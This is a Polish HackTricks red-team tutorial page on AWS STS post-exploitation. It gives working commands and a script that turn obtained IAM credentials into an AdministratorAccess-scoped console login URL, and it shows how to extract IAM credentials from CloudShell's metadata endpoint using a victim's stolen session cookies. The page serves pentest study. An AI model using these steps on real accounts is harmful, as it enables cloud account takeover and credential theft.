AWS - STS Post Exploitation

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Podziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.

STS

Aby uzyskać więcej informacji:

AWS - IAM, Identity Center & SSO Enum

Od poświadczeń IAM do konsoli

Jeśli udało Ci się uzyskać jakieś poświadczenia IAM, możesz być zainteresowany dostępem do konsoli internetowej za pomocą następujących narzędzi. Zauważ, że użytkownik/rola musi mieć uprawnienie sts:GetFederationToken.

Niestandardowy skrypt

Następujący skrypt użyje domyślnego profilu i domyślnej lokalizacji AWS (nie gov i nie cn), aby dać Ci podpisany URL, którego możesz użyć do zalogowania się do konsoli internetowej:

# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)



# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"

aws_consoler

Możesz wygenerować link do konsoli webowej za pomocą https://github.com/NetSPI/aws_consoler.

cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

Upewnij się, że użytkownik IAM ma uprawnienia sts:GetFederationToken, lub zapewnij rolę do przyjęcia.

aws-vault

aws-vault to narzędzie do bezpiecznego przechowywania i uzyskiwania dostępu do poświadczeń AWS w środowisku deweloperskim.

aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

Możesz również użyć aws-vault, aby uzyskać sesję konsoli przeglądarki

Z konsoli do poświadczeń IAM

Oryginalnie odkryte w tym poście, Jeśli uda ci się skompromitować dostęp do konsoli internetowej (może ukradłeś ciasteczka i nie mogłeś uzyskać dostępu do folderu .aws), możesz uzyskać poświadczenia tokena IAM dla tego użytkownika za pomocą CloudShell.

CloudShell udostępnia poświadczenia IAM przez nieudokumentowany punkt końcowy na porcie 1338. Po załadowaniu ciasteczek sesji ofiary do swojej przeglądarki, możesz przejść do CloudShell i wydać następujące polecenia, aby uzyskać poświadczenia IAM.

TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.